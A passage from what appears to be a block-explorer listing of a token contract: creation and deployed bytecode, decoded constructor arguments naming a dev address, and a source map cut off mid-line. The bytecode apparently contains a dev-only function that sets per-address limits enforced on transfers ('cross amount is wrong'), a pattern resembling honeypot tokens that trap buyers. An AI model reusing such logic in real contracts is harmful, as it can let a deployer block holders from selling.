ffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561116c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116390611939565b60405180910390fd5b6000811415600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160146101000a81548160ff021916908315150217905550600081146112585781600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506112db565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b6001600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160146101000a81548160ff0219169083151502179055505b505050565b600080611348856104b5565b9050600081111561139657808211611395576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138c90611979565b60405180910390fd5b5b61140285600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610ee8565b156114a95781600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114529190611a7c565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060095491506114a48583610f4c565b611538565b81600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114f49190611a7c565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050505050565b505050565b600061155761155284611a34565b611a0f565b9050808382526020820190508285602086028201111561157657600080fd5b60005b858110156115a6578161158c88826115b0565b845260208401935060208301925050600181019050611579565b5050509392505050565b6000813590506115bf81611e4b565b92915050565b600082601f8301126115d657600080fd5b81356115e6848260208601611544565b91505092915050565b6000813590506115fe81611e62565b92915050565b60006020828403121561161657600080fd5b6000611624848285016115b0565b91505092915050565b6000806040838503121561164057600080fd5b600061164e858286016115b0565b925050602061165f858286016115b0565b9150509250929050565b60008060006060848603121561167e57600080fd5b600061168c868287016115b0565b935050602061169d868287016115b0565b92505060406116ae868287016115ef565b9150509250925092565b600080604083850312156116cb57600080fd5b60006116d9858286016115b0565b92505060206116ea858286016115ef565b9150509250929050565b6000806040838503121561170757600080fd5b600083013567ffffffffffffffff81111561172157600080fd5b61172d858286016115c5565b925050602061173e858286016115ef565b9150509250929050565b61175181611b06565b82525050565b61176861176382611b06565b611c3a565b82525050565b61177781611b18565b82525050565b600061178882611a60565b6117928185611a6b565b93506117a2818560208601611b5b565b6117ab81611ceb565b840191505092915050565b60006117c3602683611a6b565b91506117ce82611d09565b604082019050919050565b60006117e6600f83611a6b565b91506117f182611d58565b602082019050919050565b6000611809600e83611a6b565b915061181482611d81565b602082019050919050565b600061182c601c83611a6b565b915061183782611daa565b602082019050919050565b600061184f602083611a6b565b915061185a82611dd3565b602082019050919050565b6000611872602583611a6b565b915061187d82611dfc565b604082019050919050565b61189181611b44565b82525050565b6118a081611b4e565b82525050565b60006118b28284611757565b60148201915081905092915050565b60006020820190506118d66000830184611748565b92915050565b60006020820190506118f1600083018461176e565b92915050565b60006020820190508181036000830152611911818461177d565b905092915050565b60006020820190508181036000830152611932816117b6565b9050919050565b60006020820190508181036000830152611952816117d9565b9050919050565b60006020820190508181036000830152611972816117fc565b9050919050565b600060208201905081810360008301526119928161181f565b9050919050565b600060208201905081810360008301526119b281611842565b9050919050565b600060208201905081810360008301526119d281611865565b9050919050565b60006020820190506119ee6000830184611888565b92915050565b6000602082019050611a096000830184611897565b92915050565b6000611a19611a2a565b9050611a258282611bc0565b919050565b6000604051905090565b600067ffffffffffffffff821115611a4f57611a4e611cbc565b5b602082029050602081019050919050565b600081519050919050565b600082825260208201905092915050565b6000611a8782611b44565b9150611a9283611b44565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611ac757611ac6611c5e565b5b828201905092915050565b6000611add82611b44565b9150611ae883611b44565b925082821015611afb57611afa611c5e565b5b828203905092915050565b6000611b1182611b24565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611b79578082015181840152602081019050611b5e565b83811115611b88576000848401525b50505050565b60006002820490506001821680611ba657607f821691505b60208210811415611bba57611bb9611c8d565b5b50919050565b611bc982611ceb565b810181811067ffffffffffffffff82111715611be857611be7611cbc565b5b80604052505050565b6000611bfc82611b44565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611c2f57611c2e611c5e565b5b600182019050919050565b6000611c4582611c4c565b9050919050565b6000611c5782611cfc565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b60008160601b9050919050565b7f4945524332303a207472616e736665722066726f6d20746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f496e76616c696420616464726573730000000000000000000000000000000000600082015250565b7f496e76616c696420616d6f756e74000000000000000000000000000000000000600082015250565b7f45524332303a2063726f737320616d6f756e742069732077726f6e6700000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b611e5481611b06565b8114611e5f57600080fd5b50565b611e6b81611b44565b8114611e7657600080fd5b5056fe4945524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654945524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c37b7230468e1114d70c79ee71826b1a589a5d336d48c17b04983aa5db60fb5664736f6c634300080400330000000000000000000000005189fae15386ddfc1c54b53fe22865d56c349c4300000000000000000000000000000000000000000000000000000002540be400

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a082311161009757806395d89b411161006657806395d89b4114610288578063a9059cbb146102a6578063ae6b8c3f146102d6578063dd62ed3e146102f2576100f5565b806370a0823114610200578063715018a6146102305780638da5cb5b1461023a57806390ec57f114610258576100f5565b806323b872dd116100d357806323b872dd146101665780632bd69e8914610196578063313ce567146101c657806339509351146101e4576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610322565b60405161010f91906118f7565b60405180910390f35b610132600480360381019061012d91906116b8565b6103b4565b60405161013f91906118dc565b60405180910390f35b6101506103d2565b60405161015d91906119d9565b60405180910390f35b610180600480360381019061017b9190611669565b6103dc565b60405161018d91906118dc565b60405180910390f35b6101b060048036038101906101ab9190611604565b6104b5565b6040516101bd91906119d9565b60405180910390f35b6101ce6104fe565b6040516101db91906119f4565b60405180910390f35b6101fe60048036038101906101f991906116b8565b610515565b005b61021a60048036038101906102159190611604565b6106db565b60405161022791906119d9565b60405180910390f35b610238610724565b005b6102426107ac565b60405161024f91906118c1565b60405180910390f35b610272600480360381019061026d91906116b8565b6107d5565b60405161027f91906118dc565b60405180910390f35b61029061083f565b60405161029d91906118f7565b60405180910390f35b6102c060048036038101906102bb91906116b8565b6108d1565b6040516102cd91906118dc565b60405180910390f35b6102f060048036038101906102eb91906116f4565b6108ef565b005b61030c6004803603810190610307919061162d565b6109f4565b60405161031991906119d9565b60405180910390f35b60606006805461033190611b8e565b80601f016020809104026020016040519081016040528092919081815260200182805461035d90611b8e565b80156103aa5780601f1061037f576101008083540402835291602001916103aa565b820191906000526020600020905b81548152906001019060200180831161038d57829003601f168201915b5050505050905090565b60006103c86103c1610a91565b8484610a99565b6001905092915050565b6000600954905090565b60006103e9848484610c2d565b6104aa846103f5610a91565b6104a585604051806060016040528060298152602001611ea160299139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061045b610a91565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e939092919063ffffffff16565b610a99565b600190509392505050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600860009054906101000a900460ff16905090565b6000339050600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561058a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161058190611939565b60405180910390fd5b600082116105cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105c490611959565b60405180910390fd5b60006105fe84600560000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610ee8565b156106745761060d8282610f4c565b6106178184610fde565b905080600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106689190611a7c565b925050819055506106d5565b61067e8282610f4c565b80600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106cd9190611a7c565b925050819055505b50505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61072c610a91565b73ffffffffffffffffffffffffffffffffffffffff1661074a6107ac565b73ffffffffffffffffffffffffffffffffffffffff16146107a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079790611999565b60405180910390fd5b6107aa6000611004565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000803390506107e68185856110c8565b600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160149054906101000a900460ff1691505092915050565b60606007805461084e90611b8e565b80601f016020809104026020016040519081016040528092919081815260200182805461087a90611b8e565b80156108c75780601f1061089c576101008083540402835291602001916108c7565b820191906000526020600020905b8154815290600101906020018083116108aa57829003601f168201915b5050505050905090565b60006108e56108de610a91565b8484610c2d565b6001905092915050565b600560000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461094c57600080fd5b60005b82518110156109ef578160046000858481518110610996577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080806109e790611bf1565b91505061094f565b505050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008183610a899190611a7c565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610b035750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b610b42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b39906119b9565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c2091906119d9565b60405180910390a3505050565b610c3883838361133c565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610ca25750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b610ce1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd890611919565b60405180910390fd5b610cec83838361153f565b610d5881604051806060016040528060278152602001611e7a60279139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e939092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610de69190611a7c565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610e8691906119d9565b60405180910390a3505050565b6000838311158290610edb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed291906118f7565b60405180910390fd5b5082840390509392505050565b60008083604051602001610efc91906118a6565b604051602081830303815290604052805190602001209050600083604051602001610f2791906118a6565b6040516020818303038152906040528051906020012090508082149250505092915050565b80600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f979190611ad2565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000808214610ffa578183610ff39190611a7c565b9050610ffe565b8190505b92915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6110f783600560000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610ee8565b1561133757600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561116c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116390611939565b60405180910390fd5b6000811415600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160146101000a81548160ff021916908315150217905550600081146112585781600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506112db565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b6001600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160146101000a81548160ff0219169083151502179055505b505050565b600080611348856104b5565b9050600081111561139657808211611395576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138c90611979565b60405180910390fd5b5b61140285600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610ee8565b156114a95781600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114529190611a7c565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060095491506114a48583610f4c565b611538565b81600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114f49190611a7c565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050505050565b505050565b600061155761155284611a34565b611a0f565b9050808382526020820190508285602086028201111561157657600080fd5b60005b858110156115a6578161158c88826115b0565b845260208401935060208301925050600181019050611579565b5050509392505050565b6000813590506115bf81611e4b565b92915050565b600082601f8301126115d657600080fd5b81356115e6848260208601611544565b91505092915050565b6000813590506115fe81611e62565b92915050565b60006020828403121561161657600080fd5b6000611624848285016115b0565b91505092915050565b6000806040838503121561164057600080fd5b600061164e858286016115b0565b925050602061165f858286016115b0565b9150509250929050565b60008060006060848603121561167e57600080fd5b600061168c868287016115b0565b935050602061169d868287016115b0565b92505060406116ae868287016115ef565b9150509250925092565b600080604083850312156116cb57600080fd5b60006116d9858286016115b0565b92505060206116ea858286016115ef565b9150509250929050565b6000806040838503121561170757600080fd5b600083013567ffffffffffffffff81111561172157600080fd5b61172d858286016115c5565b925050602061173e858286016115ef565b9150509250929050565b61175181611b06565b82525050565b61176861176382611b06565b611c3a565b82525050565b61177781611b18565b82525050565b600061178882611a60565b6117928185611a6b565b93506117a2818560208601611b5b565b6117ab81611ceb565b840191505092915050565b60006117c3602683611a6b565b91506117ce82611d09565b604082019050919050565b60006117e6600f83611a6b565b91506117f182611d58565b602082019050919050565b6000611809600e83611a6b565b915061181482611d81565b602082019050919050565b600061182c601c83611a6b565b915061183782611daa565b602082019050919050565b600061184f602083611a6b565b915061185a82611dd3565b602082019050919050565b6000611872602583611a6b565b915061187d82611dfc565b604082019050919050565b61189181611b44565b82525050565b6118a081611b4e565b82525050565b60006118b28284611757565b60148201915081905092915050565b60006020820190506118d66000830184611748565b92915050565b60006020820190506118f1600083018461176e565b92915050565b60006020820190508181036000830152611911818461177d565b905092915050565b60006020820190508181036000830152611932816117b6565b9050919050565b60006020820190508181036000830152611952816117d9565b9050919050565b60006020820190508181036000830152611972816117fc565b9050919050565b600060208201905081810360008301526119928161181f565b9050919050565b600060208201905081810360008301526119b281611842565b9050919050565b600060208201905081810360008301526119d281611865565b9050919050565b60006020820190506119ee6000830184611888565b92915050565b6000602082019050611a096000830184611897565b92915050565b6000611a19611a2a565b9050611a258282611bc0565b919050565b6000604051905090565b600067ffffffffffffffff821115611a4f57611a4e611cbc565b5b602082029050602081019050919050565b600081519050919050565b600082825260208201905092915050565b6000611a8782611b44565b9150611a9283611b44565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611ac757611ac6611c5e565b5b828201905092915050565b6000611add82611b44565b9150611ae883611b44565b925082821015611afb57611afa611c5e565b5b828203905092915050565b6000611b1182611b24565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611b79578082015181840152602081019050611b5e565b83811115611b88576000848401525b50505050565b60006002820490506001821680611ba657607f821691505b60208210811415611bba57611bb9611c8d565b5b50919050565b611bc982611ceb565b810181811067ffffffffffffffff82111715611be857611be7611cbc565b5b80604052505050565b6000611bfc82611b44565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611c2f57611c2e611c5e565b5b600182019050919050565b6000611c4582611c4c565b9050919050565b6000611c5782611cfc565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b60008160601b9050919050565b7f4945524332303a207472616e736665722066726f6d20746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f496e76616c696420616464726573730000000000000000000000000000000000600082015250565b7f496e76616c696420616d6f756e74000000000000000000000000000000000000600082015250565b7f45524332303a2063726f737320616d6f756e742069732077726f6e6700000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b611e5481611b06565b8114611e5f57600080fd5b50565b611e6b81611b44565b8114611e7657600080fd5b5056fe4945524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654945524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c37b7230468e1114d70c79ee71826b1a589a5d336d48c17b04983aa5db60fb5664736f6c63430008040033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000005189fae15386ddfc1c54b53fe22865d56c349c4300000000000000000000000000000000000000000000000000000002540be400

-----Decoded View---------------
Arg [0] : dev_ (address): 0x5189faE15386dDFc1c54B53fe22865D56C349c43
Arg [1] : totalSupply_ (uint256): 10000000000

-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 0000000000000000000000005189fae15386ddfc1c54b53fe22865d56c349c43
Arg [1] : 00000000000000000000000000000000000000000000000000000002540be400


Deployed Bytecode Sourcemap

12819:7066:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13897:88;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14842:190;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14183:101;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15040:443;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19078:114;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14091:84;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17251:509;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;14292:153;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12358:94;;;:::i;:::-;;11707:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18192:203;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13993:90;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14453:197;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18407:209;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;14658:176;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13897:88;13942:13;13975:2;13968:9;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13897:88;:::o;14842:190::-;14945:4;14967:35;14972:12;:10;:12::i;:::-;14986:7;14995:6;14967:4;:35::i;:::-;15020:4;15013:11;;14842:190;;;;:::o;14183:101::-;14244:7;14271:5;;14264:12;;14183:101;:::o;15040:443::-;15180:4;15197:33;15204:6;15212:9;15223:6;15197;:33::i;:::-;15241:212;15260:6;15281:12;:10;:12::i;:::-;15308:134;15359:6;15308:134;;;;;;;;;;;;;;;;;:6;:14;15315:6;15308:14;;;;;;;;;;;;;;;:28;15323:12;:10;:12::i;:::-;15308:28;;;;;;;;;;;;;;;;:32;;:134;;;;;:::i;:::-;15241:4;:212::i;:::-;15471:4;15464:11;;15040:443;;;;;:::o;19078:114::-;19133:7;19160:15;:24;19176:7;19160:24;;;;;;;;;;;;;;;;19153:31;;19078:114;;;:::o;14091:84::-;14140:5;14165:2;;;;;;;;;;;14158:9;;14091:84;:::o;17251:509::-;17337:12;17352:10;17337:25;;17400:1;17381:21;;:7;:21;;;;17373:49;;;;;;;;;;;;:::i;:::-;;;;;;;;;17450:1;17441:6;:10;17433:37;;;;;;;;;;;;:::i;:::-;;;;;;;;;17481:13;17513:26;17519:7;17528:4;:10;;;;;;;;;;;;17513:5;:26::i;:::-;17509:244;;;17556:17;17561:4;17567:5;17556:4;:17::i;:::-;17596:19;17601:5;17608:6;17596:4;:19::i;:::-;17588:27;;17648:5;17630;:14;17636:7;17630:14;;;;;;;;;;;;;;;;:23;;;;;;;:::i;:::-;;;;;;;;17509:244;;;17686:17;17691:4;17697:5;17686:4;:17::i;:::-;17736:5;17718;:14;17724:7;17718:14;;;;;;;;;;;;;;;;:23;;;;;;;:::i;:::-;;;;;;;;17509:244;17251:509;;;;:::o;14292:153::-;14391:7;14423:5;:14;14429:7;14423:14;;;;;;;;;;;;;;;;14416:21;;14292:153;;;:::o;12358:94::-;11938:12;:10;:12::i;:::-;11927:23;;:7;:5;:7::i;:::-;:23;;;11919:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;12423:21:::1;12441:1;12423:9;:21::i;:::-;12358:94::o:0;11707:87::-;11753:7;11780:6;;;;;;;;;;;11773:13;;11707:87;:::o;18192:203::-;18255:4;18273:12;18288:10;18273:25;;18309:29;18319:4;18325;18331:6;18309:9;:29::i;:::-;18356:4;:10;18361:4;18356:10;;;;;;;;;;;;;;;:21;;;;;;;;;;;;18349:28;;;18192:203;;;;:::o;13993:90::-;14040:13;14073:2;14066:9;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13993:90;:::o;14453:197::-;14559:4;14581:39;14588:12;:10;:12::i;:::-;14602:9;14613:6;14581;:39::i;:::-;14638:4;14631:11;;14453:197;;;;:::o;18407:209::-;13760:4;:10;;;;;;;;;;;;13746:24;;:10;:24;;;13738:33;;;;;;18504:9:::1;18499:110;18523:8;:15;18519:1;:19;18499:110;;;18591:6;18560:15;:28;18576:8;18585:1;18576:11;;;;;;;;;;;;;;;;;;;;;;18560:28;;;;;;;;;;;;;;;:37;;;;18540:3;;;;;:::i;:::-;;;;18499:110;;;;18407:209:::0;;:::o;14658:176::-;14772:7;14804:6;:13;14811:5;14804:13;;;;;;;;;;;;;;;:22;14818:7;14804:22;;;;;;;;;;;;;;;;14797:29;;14658:176;;;;:::o;6503:98::-;6561:7;6592:1;6588;:5;;;;:::i;:::-;6581:12;;6503:98;;;;:::o;684:::-;737:7;764:10;757:17;;684:98;:::o;16925:318::-;17074:1;17057:19;;:5;:19;;;;:44;;;;;17099:1;17080:21;;:7;:21;;;;17057:44;17049:94;;;;;;;;;;;;:::i;:::-;;;;;;;;;17181:6;17156;:13;17163:5;17156:13;;;;;;;;;;;;;;;:22;17170:7;17156:22;;;;;;;;;;;;;;;:31;;;;17219:7;17203:32;;17212:5;17203:32;;;17228:6;17203:32;;;;;;:::i;:::-;;;;;;;;16925:318;;;:::o;15491:572::-;15620:35;15629:6;15637:9;15648:6;15620:8;:35::i;:::-;15692:1;15674:20;;:6;:20;;;;:47;;;;;15719:1;15698:23;;:9;:23;;;;15674:47;15666:99;;;;;;;;;;;;:::i;:::-;;;;;;;;;15778:39;15791:6;15799:9;15810:6;15778:12;:39::i;:::-;15844:105;15876:6;15844:105;;;;;;;;;;;;;;;;;:5;:13;15850:6;15844:13;;;;;;;;;;;;;;;;:17;;:105;;;;;:::i;:::-;15828:5;:13;15834:6;15828:13;;;;;;;;;;;;;;;:121;;;;15998:6;15979:5;:16;15985:9;15979:16;;;;;;;;;;;;;;;;:25;;;;:::i;:::-;15960:5;:16;15966:9;15960:16;;;;;;;;;;;;;;;:44;;;;16037:9;16020:35;;16029:6;16020:35;;;16048:6;16020:35;;;;;;:::i;:::-;;;;;;;;15491:572;;;:::o;8782:224::-;8902:7;8952:1;8947;:6;;8955:12;8939:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;8990:1;8986;:5;8979:12;;8782:224;;;;;:::o;17768:234::-;17835:4;17852:13;17895:4;17878:22;;;;;;;;:::i;:::-;;;;;;;;;;;;;17868:33;;;;;;17852:49;;17912:13;17955:5;17938:23;;;;;;;;:::i;:::-;;;;;;;;;;;;;17928:34;;;;;;17912:50;;17989:5;17980;:14;17973:21;;;;17768:234;;;;:::o;16811:106::-;16903:6;16889:5;:11;16895:4;16889:11;;;;;;;;;;;;;;;;:20;;;;:::i;:::-;16875:5;:11;16881:4;16875:11;;;;;;;;;;;;;;;:34;;;;16811:106;;:::o;18010:174::-;18075:7;18107:1;18099:4;:9;18095:60;;18139:4;18132;:11;;;;:::i;:::-;18125:18;;;;18095:60;18172:4;18165:11;;18010:174;;;;;:::o;12460:173::-;12516:16;12535:6;;;;;;;;;;;12516:25;;12561:8;12552:6;;:17;;;;;;;;;;;;;;;;;;12616:8;12585:40;;12606:8;12585:40;;;;;;;;;;;;12460:173;;:::o;18624:446::-;18711:23;18717:4;18723;:10;;;;;;;;;;;;18711:5;:23::i;:::-;18707:356;;;18775:1;18759:18;;:4;:18;;;;18751:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;18846:1;18836:6;:11;;18812:4;:10;18817:4;18812:10;;;;;;;;;;;;;;;:21;;;:35;;;;;;;;;;;;;;;;;;18876:1;18866:6;:11;18862:147;;18917:4;18898;:10;18903:4;18898:10;;;;;;;;;;;;;;;:16;;;:23;;;;;;;;;;;;;;;;;;18862:147;;;18989:1;18962:4;:10;18967:4;18962:10;;;;;;;;;;;;;;;:16;;;:29;;;;;;;;;;;;;;;;;;18862:147;19047:4;19023;:10;19028:4;19023:10;;;;;;;;;;;;;;;:21;;;:28;;;;;;;;;;;;;;;;;;18707:356;18624:446;;;:::o;19202:555::-;19323:14;19352:21;19376:13;19384:4;19376:7;:13::i;:::-;19352:37;;19420: